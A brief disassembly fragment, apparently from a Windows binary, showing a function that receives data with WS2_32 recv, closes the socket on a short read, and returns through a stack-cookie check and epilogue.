call sub.WS2_32.dll_recv
cmp eax, 4
jae 0x140042871
test r14, r14
je 0x140042865
mov dword [r14], 0
mov rcx, rbp
call sub.WS2_32.dll_closesocket
xor eax, eax
jmp 0x140042881
test r14, r14
je 0x14004287d
mov dword [r14], 1
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400470e0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret